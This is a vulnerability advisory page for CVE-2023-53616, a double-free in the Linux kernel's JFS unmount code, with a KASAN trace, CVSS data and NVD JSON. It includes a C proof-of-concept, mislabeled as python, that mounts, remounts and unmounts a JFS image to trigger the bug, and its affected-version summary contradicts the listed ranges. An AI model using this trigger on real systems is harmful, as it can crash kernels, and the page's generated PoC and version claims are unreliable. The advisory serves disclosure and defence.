CVE-2023-53616

Description

In the Linux kernel, the following vulnerability has been resolved: jfs: fix invalid free of JFS_IP(ipimap)->i_imap in diUnmount syzbot found an invalid-free in diUnmount: BUG: KASAN: double-free in slab_free mm/slub.c:3661 [inline] BUG: KASAN: double-free in __kmem_cache_free+0x71/0x110 mm/slub.c:3674 Free of addr ffff88806f410000 by task syz-executor131/3632 CPU: 0 PID: 3632 Comm: syz-executor131 Not tainted 6.1.0-rc7-syzkaller-00012-gca57f02295f1 #0 Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/26/2022 Call Trace: <TASK> __dump_stack lib/dump_stack.c:88 [inline] dump_stack_lvl+0x1b1/0x28e lib/dump_stack.c:106 print_address_description+0x74/0x340 mm/kasan/report.c:284 print_report+0x107/0x1f0 mm/kasan/report.c:395 kasan_report_invalid_free+0xac/0xd0 mm/kasan/report.c:460 ____kasan_slab_free+0xfb/0x120 kasan_slab_free include/linux/kasan.h:177 [inline] slab_free_hook mm/slub.c:1724 [inline] slab_free_freelist_hook+0x12e/0x1a0 mm/slub.c:1750 slab_free mm/slub.c:3661 [inline] __kmem_cache_free+0x71/0x110 mm/slub.c:3674 diUnmount+0xef/0x100 fs/jfs/jfs_imap.c:195 jfs_umount+0x108/0x370 fs/jfs/jfs_umount.c:63 jfs_put_super+0x86/0x190 fs/jfs/super.c:194 generic_shutdown_super+0x130/0x310 fs/super.c:492 kill_block_super+0x79/0xd0 fs/super.c:1428 deactivate_locked_super+0xa7/0xf0 fs/super.c:332 cleanup_mnt+0x494/0x520 fs/namespace.c:1186 task_work_run+0x243/0x300 kernel/task_work.c:179 exit_task_work include/linux/task_work.h:38 [inline] do_exit+0x664/0x2070 kernel/exit.c:820 do_group_exit+0x1fd/0x2b0 kernel/exit.c:950 __do_sys_exit_group kernel/exit.c:961 [inline] __se_sys_exit_group kernel/exit.c:959 [inline] __x64_sys_exit_group+0x3b/0x40 kernel/exit.c:959 do_syscall_x64 arch/x86/entry/common.c:50 [inline] do_syscall_64+0x3d/0xb0 arch/x86/entry/common.c:80 entry_SYSCALL_64_after_hwframe+0x63/0xcd [...] JFS_IP(ipimap)->i_imap is not setting to NULL after free in diUnmount. If jfs_remount() free JFS_IP(ipimap)->i_imap but then failed at diMount(). JFS_IP(ipimap)->i_imap will be freed once again. Fix this problem by setting JFS_IP(ipimap)->i_imap to NULL after free.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 6.1 (受影响的稳定版本)

Linux Kernel 6.1.0-rc7 及之前版本

所有包含未修复jfs_imap.c的Linux内核版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2023-53616 PoC - Trigger double-free in JFS diUnmount
// This PoC demonstrates triggering the double-free vulnerability
// by causing a remount failure followed by umount.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <fcntl.h>

#define LOOP_DEVICE "/dev/loop0"
#define MOUNT_POINT  "/mnt/jfs_test"
#define IMAGE_FILE   "/tmp/jfs_image.img"
#define IMAGE_SIZE   (100 * 1024 * 1024)  // 100MB

int main(int argc, char *argv[]) {
    int ret;

    // Step 1: Create a JFS filesystem image
    printf("[*] Creating JFS filesystem image...\n");
    int fd = open(IMAGE_FILE, O_CREAT | O_RDWR, 0644);
    if (fd < 0) {
        perror("open");
        return 1;
    }
    ftruncate(fd, IMAGE_SIZE);
    close(fd);

    // Create JFS filesystem on the image
    ret = system("mkfs.jfs -f " IMAGE_FILE);
    if (ret != 0) {
        fprintf(stderr, "[-] mkfs.jfs failed\n");
        return 1;
    }

    // Step 2: Setup loop device
    printf("[*] Setting up loop device...\n");
    ret = system("losetup " LOOP_DEVICE " " IMAGE_FILE);
    if (ret != 0) {
        fprintf(stderr, "[-] losetup failed\n");
        return 1;
    }

    // Create mount point
    mkdir(MOUNT_POINT, 0755);

    // Step 3: Mount JFS filesystem
    printf("[*] Mounting JFS filesystem...\n");
    ret = mount(LOOP_DEVICE, MOUNT_POINT, "jfs", 0, NULL);
    if (ret != 0) {
        perror("mount");
        return 1;
    }

    // Step 4: Trigger remount with invalid options to cause diMount failure
    // This will free i_imap in jfs_remount() but fail at diMount()
    printf("[*] Triggering remount failure...\n");
    ret = mount(LOOP_DEVICE, MOUNT_POINT, "jfs", MS_REMOUNT | MS_RDONLY, "errors=panic");
    // The remount may fail at diMount stage, leaving i_imap as dangling pointer

    // Step 5: Unmount to trigger double-free in diUnmount
    printf("[*] Unmounting to trigger double-free...\n");
    sleep(1);
    ret = umount(MOUNT_POINT);
    if (ret != 0) {
        perror("umount");
    }

    // Cleanup
    system("losetup -d " LOOP_DEVICE);
    system("rm -rf " MOUNT_POINT " " IMAGE_FILE);

    printf("[*] Done. Check dmesg for KASAN double-free report.\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2023-53616
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2023-53616
[3] CVE Details https://www.cvedetails.com/cve/CVE-2023-53616/
[4] VulDB https://vuldb.com/cve/CVE-2023-53616
[5] https://git.kernel.org/stable/c/114ea3cb13ab25f7178cb60283adb93d2f96dad7
[6] https://git.kernel.org/stable/c/4de3a603010e0ca334487de24c6aab0777b7f808
[7] https://git.kernel.org/stable/c/5873df0195124be2f357de11bfd473ead4f90ed8
[8] https://git.kernel.org/stable/c/6e2bda2c192d0244b5a78b787ef20aa10cb319b7
[9] https://git.kernel.org/stable/c/756747d4b439e3e1159282ae89f17eefebbe9b25
[10] https://git.kernel.org/stable/c/88484bde6f12126616b38e43b6c00edcd941f615
[11] https://git.kernel.org/stable/c/c3c0f0ddd851b3fa3e9d3450bbcd561f4f850469
[12] https://git.kernel.org/stable/c/ef7311101ca43dd73b45bca7a30ac72d9535ff87

Raw JSON Data

JSON

{"cve": {"id": "CVE-2023-53616", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:58.460", "lastModified": "2026-03-17T13:54:04.443", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\njfs: fix invalid free of JFS_IP(ipimap)->i_imap in diUnmount\n\nsyzbot found an invalid-free in diUnmount:\n\nBUG: KASAN: double-free in slab_free mm/slub.c:3661 [inline]\nBUG: KASAN: double-free in __kmem_cache_free+0x71/0x110 mm/slub.c:3674\nFree of addr ffff88806f410000 by task syz-executor131/3632\n\n CPU: 0 PID: 3632 Comm: syz-executor131 Not tainted 6.1.0-rc7-syzkaller-00012-gca57f02295f1 #0\n Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 10/26/2022\n Call Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0x1b1/0x28e lib/dump_stack.c:106\n print_address_description+0x74/0x340 mm/kasan/report.c:284\n print_report+0x107/0x1f0 mm/kasan/report.c:395\n kasan_report_invalid_free+0xac/0xd0 mm/kasan/report.c:460\n ____kasan_slab_free+0xfb/0x120\n kasan_slab_free include/linux/kasan.h:177 [inline]\n slab_free_hook mm/slub.c:1724 [inline]\n slab_free_freelist_hook+0x12e/0x1a0 mm/slub.c:1750\n slab_free mm/slub.c:3661 [inline]\n __kmem_cache_free+0x71/0x110 mm/slub.c:3674\n diUnmount+0xef/0x100 fs/jfs/jfs_imap.c:195\n jfs_umount+0x108/0x370 fs/jfs/jfs_umount.c:63\n jfs_put_super+0x86/0x190 fs/jfs/super.c:194\n generic_shutdown_super+0x130/0x310 fs/super.c:492\n kill_block_super+0x79/0xd0 fs/super.c:1428\n deactivate_locked_super+0xa7/0xf0 fs/super.c:332\n cleanup_mnt+0x494/0x520 fs/namespace.c:1186\n task_work_run+0x243/0x300 kernel/task_work.c:179\n exit_task_work include/linux/task_work.h:38 [inline]\n do_exit+0x664/0x2070 kernel/exit.c:820\n do_group_exit+0x1fd/0x2b0 kernel/exit.c:950\n __do_sys_exit_group kernel/exit.c:961 [inline]\n __se_sys_exit_group kernel/exit.c:959 [inline]\n __x64_sys_exit_group+0x3b/0x40 kernel/exit.c:959\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x3d/0xb0 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\n[...]\n\nJFS_IP(ipimap)->i_imap is not setting to NULL after free in diUnmount.\nIf jfs_remount() free JFS_IP(ipimap)->i_imap but then failed at diMount().\nJFS_IP(ipimap)->i_imap will be freed once again.\nFix this problem by setting JFS_IP(ipimap)->i_imap to NULL after free."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-415"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.12.1", "versionEndExcluding": "4.14.326", "matchCriteriaId": "9D1E9BD5-9AE9-4BE0-A168-F809FE0734C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.15", "versionEndExcluding": "4.19.295", "matchCriteriaId": "D419C7D6-F33D-4EF8-8950-1CB5DDF6A55D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20", "versionEndExcluding": "5.4.257", "matchCriteriaId": "834BD148-28EC-43A4-A4F5-458124A1E39F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.197", "matchCriteriaId": "FD17EA9A-DF74-4876-AADC-C204F0716961"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.133", "matchCriteriaId": "21236FF3-9B2C-4C1A-8780-BC5BCA44AA51"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.55", "matchCriteriaId": "0EFCF8E8-5528-46B9-8C17-B09792899CE0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.5.5", "matchCriteriaId": "8CF71E85-DA24-4925-95C5-E5C15DA71AE6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:-:*:*:*:*:*:*", "matchCriteriaId": "6F62EECE-8FB1-4D57-85D8-CB9E23CF313C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc2:*:*:*:*:*:*", "matchCriteriaId": "4F76C298-81DC-43E4-8FC9-DC005A2116EF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_ker ... (truncated)